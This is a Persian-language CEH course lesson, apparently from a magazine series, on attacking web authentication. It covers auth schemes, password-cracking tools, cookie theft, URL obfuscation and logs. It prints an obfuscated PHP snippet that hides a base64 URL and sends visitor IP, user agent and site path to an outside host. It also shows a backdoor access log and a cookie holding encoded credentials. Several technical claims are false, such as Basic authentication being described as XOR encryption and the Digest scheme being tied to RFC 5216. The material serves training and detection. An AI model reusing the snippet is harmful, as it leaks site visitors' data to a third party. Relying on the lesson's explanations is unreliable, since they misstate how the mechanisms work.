برای مطالعه قسمت قبل آموزش رایگان دوره CEH اینجا کلیک کنید.
حمله به مکانیزم تأیید هویت مبتنی بر وب
این بخش انواع مختلف مکانیزمهای تأیید اعتبار به شرح زیر را شامل میشود:
■ اساسی/پایه (Basic)
■ تایید اصالت پیام (Message digest)
■ مبتنی بر گواهی (Certificate based)
■ مبتنی بر فرمها (Forms based)
مکانیزم احراز هویت پایه از طریق یک فرآیند انحصاری XOR انجام میشود. رمزگذاری اولیه هنگامی آغاز میشود که کاربر درخواست محافظت از منبعی را ارائه میکند. کادر محاورهای وارد کردن گذرواژه ظاهر شده و درخواست نام کاربری و گذرواژه میکند. هنگامی که کاربر رمزعبور خود را وارد میکند اطلاعات از طریق HTTP به سرور ارسال شده و در ادامه دادهها توسط عملیات باینری XOR رمزگذاری میشوند. این تابع به این شکل عمل میکند که وقتی دو بیت ترکیب میشوند، نتیجه تنها زمانی صفر میشود که هر دو یکسان باشند. عملکرد XOR به این شکل است که ابتدا تمامی کاراکترها، سمبلها و اعداد را به متن اسکی تبدیل کرده و معادل دودویی آنها را نشان میدهد. در ادامه مقدار XOR حاصل که یک متنی رمزگذاری شده است از طریق HTTP ارسال میشود. بهطور مثال، اگر یک مهاجم قصد داشت یک بسته مبتنی بر مکانیزم ترافیک رمزنگاری پایه را شنود کند، محتوایی شبیه به کاراکترهای زیر را دریافت میکند:
Authorization: Basic gADzdBCPSEG1
این مکانیزم رمزنگاری ضعیف است و میتوان از ابزارهای زیادی برای رمزگشایی اطلاعات استفاده کرد. بهطور مثال ابزار Cain که پیشتر به آن اشاره کردیم یک قابلیت از پیش ساخته شده برای درهم شکستن این مکانیزم دارد. کافی است جستوجویی با گوگل انجام داده و عبارت base64 decoder را وارد کنید تا انواع مختلفی از برنامههای ساخته شده برای رمزنگاری یا رمزگشایی اولیه مبتنی بر این مکانیزم را پیدا کنید. رمزگذاری پایه یکی از ضعیفترین اشکال تأیید اعتبار است که برخی موارد عملکرد آن فرق چندانی با ارسال یک متن به شیوه ساده ندارد. به همین دلیل در گروه مکانیزمهای منسوخ شده در دنیای امنیت از آن نام برده میشود.
مکانیزم تایید اصالت پیام پیشرفت بزرگی نسبت به مکانیزم پایه رمزنگاری دارد. تایید اصالت پیام از الگوریتم هشدار MD5 استفاده میکند. اصالت پیام مبتنی بر پروتکل challenge-response کار میکند. برای ساخت یک مقدار رمزگذاری شده و ارسال آن به سرور از نام کاربری، رمز عبور و یک مقدار nonce استفاده میکند. در مهندسی امنیت، نانس عبارت است از تعدادی عدد دلخواه که تنها یکبار برای امضای یک ارتباط استفاده میشود. مقدار نانس پایداری بیشتر در برابر حملات هکری داشته و حملات شنود را بی اثر میکند. جزییات مربوط به این مکانیزم در فایل RFC 5216 شرح داده شده است. بخشی از این روش احراز هویت، تأیید اعتبار NTLM است. احراز هویت مبتنی بر گواهینامه قویترین شکل تأیید اعتبار است که تاکنون در مورد آن بحث کردهایم. هنگامی که کاربران سعی در تأیید اعتبار دارند به سرور وب گواهینامههایشان را ارائه میدهند. این گواهی شامل یک کلید عمومی و امضای گواهی مرجع است. پس از دریافت اطلاعات سرور وب باید ابتدا اعتبار امضای گواهی را تایید کرده و در ادامه با استفاده از رمزنگاری کلید عمومی هویت کاربر را تأیید کند. احراز هویت مبتنی بر گواهینامه که از رمزنگاری کلید عمومی استفاده میکند یکی از پر کاربردترین مکانیزمهای رمزنگاری است که در آینده به شکل دقیقتری به آن اشاره خواهیم کرد.
احراز هویت مبتنی بر فرم بهطور گسترده در اینترنت استفاده میشود. این کار با استفاده از کوکی که برای کلاینت ساخته میشود انجام میشود. پس از تأیید اعتبار، برنامه یک کوکی یا جلسه متغیر ایجاد میکند. کوکی که به این شکل ساخته و ذخیره میشود در بازدیدهای بعدی دومرتبه استفاده میشود. اگر این کوکی به سرقت رفته یا ربوده شود، مهاجم میتواند از آن برای جعل هویت قربانی استفاده کند.
حملات تایید هویت و شکستن گذرواژههای مبتنی بر وب
ابزارهای بیشماری برای شکستن مکانیزمهای امنیتی و ورود به برنامههای مبتنی بر وب وجود دارد. اگر سایت از خطمشیهای امنیتی مشخصی همچون قفل کردن تعداد تلاشهای ناموفق استفاده نکند، برای یک هکر تنها مسئله زمان باقی است تا بتواند به سایتی نفوذ کند. شکستن گذرواژه ابزارهای خیلی پیچیده نیاز ندارد. برای اینکار کافی است هکرها به مدت زمان طولانی گذرواژهها را حدس بزند تا سرانجام گزینه درست را پیدا کند، زیرا طراحان سایت مکانیزم خاصی برای مقابله با این تهدید در نظر نگرفتهاند. از مهمترین حملات پیرامون گذرواژهها به موارد زیر میتوان اشاره کرد:
حملات لغتنامهای: یک فایل متنی شامل کلمات فرهنگ لغت است که درون برنامه رمزعبور دانلود میشود و در ادامه برای رمزگشایی حساب کاربری قربانی از آن استفاده میشود. اگر قربانی از رمزهای عبور ساده استفاده کرده باشد، ابزار فوق ممکن است به راحتی گذرواژه را بشکند. اینکار میتواند به شکل آفلاین و با استفاده از ابزارهایی شبیه به LCP و Hashcat یا به صورت آنلاین و با استفاده از ابزارهایی شبیه به Brutus و THC-Hydra انجام شود.
حملات ترکیبی: مشابه حمله لغتنامهای است، به جز اینکه حملات ترکیبی اعداد یا نمادهایی را به کلمات لغتنامه اضافه میکنند. بسیاری از افراد رمز عبور خود را با اضافه کردن یک عدد به انتهای گذرواژه فعلی تغییر میدهند. بهطور مثال، افراد از ماه تولد در انتهای گذرواژه خود شبیه به Mike3، Mike2 و... استفاده میکنند.
حملات جستوجوی فراگیر: جامعترین شکل حمله بوده که نیازمند وقت زیادی است. بسته به طول و پیچیدگی رمز عبور، حملات جستوجوی فراگیر ممکن است هفتهها به طول بیانجامند. وقتی به صورت آنلاین انجام میشود در بیشتر موارد قابل تشخیص هستند.
از جمله ابزارهایی که برای رمزگشایی گذرواژهها استفاده میشوند به موارد زیر میتوان اشاره کرد:
■ Brutus: Brutus میتواند لغتنامه راه دور یا حملات جستوجوی فراگیر را روی وبسرورها، تلنت، SMTP و FTP پیادهسازی کند.
■ WebCracker: ابزاری ساده است که فهرستهای متنی از نام کاربری و کلمه عبور را در تان قرار میدهد و از آنها به عنوان لغتنامهای برای حدس زدن رمزهای عبور استفاده میکند.
■ THC-Hydra: ابزاری بسیار مفید برای رمزگشایی وب است که به بسیاری از طرحهای تأیید هویت رایج حمله میکند.
اگر یک مهاجم از این ابزارها استفاده کند و فرآیند اعتبارسنجی به شکل درستی در یک برنامه وب پیادهسازی نشده باشد، به سرعت نتایج موردنظر دست پیدا میکند. اگر این اتفاق بیفتد، شانس یک مهاجم در زمان پیادهسازی یک حمله جستوجوی فراگیر با هدف شکستن مکانیزم احراز هویت و ضبط اطلاعات اعتبارنامهای مربوط به حسابهای کاربری زیاد میشود. با فعالسازی ورود به سیستم باید بتوانید این فعالیت را تشخیص دهید. در زیر چند ورودی از پوشه C:\Windows\system32\Logfiles\W3SVC1 را مشاهده میکنید.
192.168.13.3 sa HEAD /test/basic - 401
Mozilla/4.0+(Compatible);Brutus/AET
192.168.13.3 administrator HEAD /test/basic -
401 Mozilla/4.0+(Compatible);Brutus/AET
192.168.13.3 admin HEAD /test/basic -
401 Mozilla/4.0+(Compatible);Brutus/AET
یکی دیگر از ابزارهای پر کاربرد در ارتباط با حمله جستوجوی فراگیر Burp Suite است. پیشتر به شما گفتیم که ابزار فوق را میتوان به عنوان یک پروکسی استفاده کرد، اما بهترین ابزار برای انجام تست نفوذ نیز به شمار میرود که دارای چند ماژول مفید است. یکی از ماژولها Intruder نام دارد و به کاربر امکان میدهد تا بخشهایی از یک درخواست را دستکاری کرده و بار دادههای مختلفی را ارسال کند. پس از آنکه بارداده گذرواژه موردنظر را انتخاب کردید، باید حمله را آغاز کنید. Burp ترکیبی از گذرواژههای مختلف را استفاده کرده و مقادیر را بهطور مرتب تغییر میدهد تا اینکه گذرواژه موردنظر را پیدا کند.
به شکل زیر دقت کنید که نشان میدهد چگونه وردپرس وقتی یک کاربر اقدام به احراز هویت با نام کاربری نامعتبر میکند پاسخ میدهد.
همانگونه که مشاهده میکنید، وردپرس اعلام میدارد که نام کاربری معتبر است. با آگاهی از این اطلاعات، یک مهاجم میتواند به راحتی رمزهای عبور مختلف را آزمایش کند که طبیعی است هکر نباید به یک اطلاعات واضحی دسترسی داشته باشد. اگر کاربران مجاز به انتخاب رمزهای عبور باشند، احتمال زیادی وجود دارد که گذرواژههای ضعیف را انتخاب کنند. این واقعیت اخیراً بارها و بارها تکرار شده و زمانی که نقضهای دادهای در سرویسهایی شبیه به یاهو، Anthem و Friend Finder شناسایی شد، مشخص شد کاربران از سادهترین گذرواژهها استفاده میکنند. در زمان آزمایش وبسایتها، باید کدهای خطای برگشتی از جانب سایتها را بررسی کنید. بهطور مثال، آیا فرمها یک عدد منفی یا یک مقدار منفی را به عنوان ورودی قبول میکنند؟ در حالت عادی نباید اینگونه باشد. به مثال زیر که نشان میدهد برنامه از یک طراحی ضعیف برخوردار بوده دقت کنید:
کوکیها
کوکیها برای انجام کارهای قانونی استفاده میشوند. مهاجمان سعی میکنند از کوکیها برای حفظ دسترسی به سامانهها استفاده کنند. کوکیها اطلاعات زیادی در مورد تراکنشهای کاربران ثبت میکنند. اگر یک برنامه از طریق HTTP و HTTPS در دسترس کاربر قرار داشته باشد به احتمال زیاد از متنهای ساده استفاده میکند. بعضی اوقات آنها حتی برای ذخیرهگذرواژها نیز استفاده میشوند. ممکن است این گذرواژهها مبهم باشند. کوکیهایی که برای ذخیرهسازی اطلاعات مهم استفاده میشوند ممکن است پایدار باشند. بهترین کار این است که کوکیها فقط برای مدت زمان مشخصی استفاده شوند و پس از گذشت زمان، مرورگر بهطور خودکار آنها را حذف کند.در اینجا دو ابزار وجود دارد که میتوانید برای مشاهده کوکیها از آنها استفاده کنید:
■ CookieSpy: به شما امکان میدهد کوکیها را مشاهده کنید، محتویات آنها را بررسی و کاربرد آنها را تعیین کنید.
■ Burp Suite: برای به دام انداختن کوکیها و بررسی آنها در ارتباط با موارد آسیبپذیری پیرامون آنها استفاده میشود. Burp همچنین به شناسایی اینکه آیا اطلاعات حساس مانند گذرواژهها و نام کاربری در یک کوکی ذخیره شدهاند کمک میکند.
اگر مهاجم بتواند به کامپیوتر قربانی دسترسی فیزیکی پیدا کند قادر است از این ابزارها برای سرقت کوکیها یا مشاهده رمزهای عبور پنهان استفاده کند.
شاید فکر کنید رمزهای عبور در کوکی ها پنهان نمیشوند، اما همیشه اینگونه نیست. کوکیهای مورد استفاده با فرمهای تایید اعتبار یا فرمهایی که گزینه remember me در آنها استفاده شده ممکن است کلمه عبور یا نام کاربری را حفظ کنند. به مثال زیر دقت کنید:
Set-Cookie: UID= bWlrZTptaWtlc3Bhc3N3b3JkDQoNCg; expires=Fri, 06-June-2016
به نظر می رسد مقدار UID حاوی حروف تصادفی است، اما بیشتر از این است. اگر آنرا توسط یک دیکدر Base64 رمزگشایی کنید در پایان با mike: mikespassword روبر میشوید. هرگز گزینه ذخیره کردن نامهای کاربری و کلمه های عبور در یک کوکی به خصوص در حالت ناامن را انجام دهید. مهاجمان میتوانند با استفاده از Paros Proxy یا Burp Suite کوکیها را به دام بیندازند.
مبهمسازی آدرس (URL Obfuscation)
طراحان برنامههای وب گاهی اوقات با رمزگذاری دادهها فرآیند خواندن دادهها را مبهم میکنند تا به راحتی مشاهده نشوند. از الگوریتمهای کدگذار در این زمینه میتوان به Hex، HTML، Base64 و Unicode اشاره کرد.
به عنوان مثال، 0xde.0xaa.0xce.0x1a در قالب هگزا به مبنای 10 که تبدیل میشود به فرمت 222.170.206.26 اشاره دارد. اکنون به قطعه کد که پس از بهش نظر base64_decode آمده دقت کنید:
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_
SERVER['HTTP_HOST']) == true){ //
Create bot analitics
$stCurlLink = base64_decode
( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').
'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'
&useragent='.urlencode($sUserAgent).'&domainname='.urlencode
($_SERVER['HTTP_HOST']).'&fullpath='.urlencode
($_SERVER['REQUEST_URI']).'&check='.isset($_GET[‘look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
راهکار فوق روشی برای پنهانسازی یک آدرس اینترنتی است که شناسایی آن به سادگی امکانپذیر نباشد.
نکته: در آزمون CEH باید اطلاعات کافی در مورد تکنیکهای مبهمسازی آدرسهای اینترنتی داشته باشید.
در مثال زیر به اسکریپت درب پشتی که توسط هکر در سیستم Apache HTTP وارد شده و برای ویرایش فایل /public_html/.htaccess استفاده میشود دقت کنید.
192.168123.194 - - [07/05/2013:11:41:03 -0900]
"GET /path/footer.inc.php?act=edit&file=/home/account/public_html/.
htaccess HTTP/1.1" 200 4795 "http://website/path/ footer.inc.
php?act=filemanager" "Mozilla/5.0..."
توجه داشته باشید که چگونه footer.inc.php فایل نامشخصی است که حاوی اسکریپت درب پشتی است. همچنین دقت کنید که act=edit و file=.htaccess برای هکر یک درب پشتی از پیش ساخته شده را فراهم کردهاند. یکی از راههای پیدا کردن این اسکریپتها، جستوجو در گزارشهای وبسرور و شناسایی موجودیتهای مشکوکی است که به هکرها اجازه میدهند از اسکریپتها برای ویرایش فایلهای سایت استفاده کنند.
ورود چیزی فراتر از یک سیستم کنترل تشخیص/پیشگیری نیست، با این حال توجه داشته باشی پس از ورود ممکن است حملات زیادی انجام شوند. در این نقطه است که ابزارهایی شبیه به WinDump و TCPdump کمک فراوانی میکنند. TCPdump امکان میدهد بستههای ورودی و خروجی را درون یک فایل را ضبط کرده و به بازبینی اطلاعات بپردازید. میتوانید با سوئیچ خط فرمان -w، ترافیک شبکه را ضبط و به فایلی انتقال دهید. مشابه با حالت زیر:
tcpdump -w file.cap
اگر در حال رضد وبسرور هستید، میتوانید از ترکیب نحوی زیر برای مشاهده همه چیز استفاده کنید:
HTTP packets :
tcpdump -n dst port 80
رهگیری ترافیک وب
یکی از بهترین راهها برای درک چگونگی عملکرد یک برنامه وب، مشاهده نحوه عملکرد آن است. یک ابزار شنودگر یک گزینه محتمل است، در حالی که پروکسی ابزار در دسترس دیگری است که میتواند کار را کمی سادهتر کند. پراکسیهای وب به کارشناسان امنیتی اجازه اشکالزدایی یا ارزیابی رخنهها را میدهند. از جمله ابزارهای پر کاربرد در این زمینه به موارد زیر میتوان اشاره کرد:
■ Burp Proxy: https ://portswigger.net/burp/proxy.html
■ Paros Proxy: https ://sourceforge.net/projects/paros/
■ OWASP ZAP: https ://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
این ابزارها مانند یک ابزار مرد میانی عمل کرده و قادر به رهگیری، بازرسی و اصلاح محتوای اولیه ترافیک به شرح زیر هستند:
■ رهگیری: امکان میدهد تا ترافیک مبادله شده میان کلاینت و سرور را مشاهده کنید.
■ بازرسی: امکان میدهد نحوه عملکرد برنامهها و مکانیسمهای استفاده شده را مشاهده کنید.
■ اصلاح: امکان میدهد دادهها را در تلاش برای دیدن نحوه پاسخ برنامه (برای مثال، حملات تزریق) تغییر دهید.
ابزارهای مختلفی برای انجام تزریق SQL، دستکاری کوکیها، ایجاد مشکلات سرریز بافر و سایر حملات در دسترس هستند. اجازه دهید به نحوه کار ابزار Burp Proxy نگاهی داشته باشیم.
در شماره آینده مبحث فوق را ادامه میدهیم.
برای مطالعه رایگان تمام بخشهای دوره CEH روی لینک زیر کلیک کنید:
ماهنامه شبکه را از کجا تهیه کنیم؟
ماهنامه شبکه را میتوانید از کتابخانههای عمومی سراسر کشور و نیز از دکههای روزنامهفروشی تهیه نمائید.
ثبت اشتراک نسخه کاغذی ماهنامه شبکه
ثبت اشتراک نسخه آنلاین
کتاب الکترونیک +Network راهنمای شبکهها
- برای دانلود تنها کتاب کامل ترجمه فارسی +Network اینجا کلیک کنید.
کتاب الکترونیک دوره مقدماتی آموزش پایتون
- اگر قصد یادگیری برنامهنویسی را دارید ولی هیچ پیشزمینهای ندارید اینجا کلیک کنید.
نظر شما چیست؟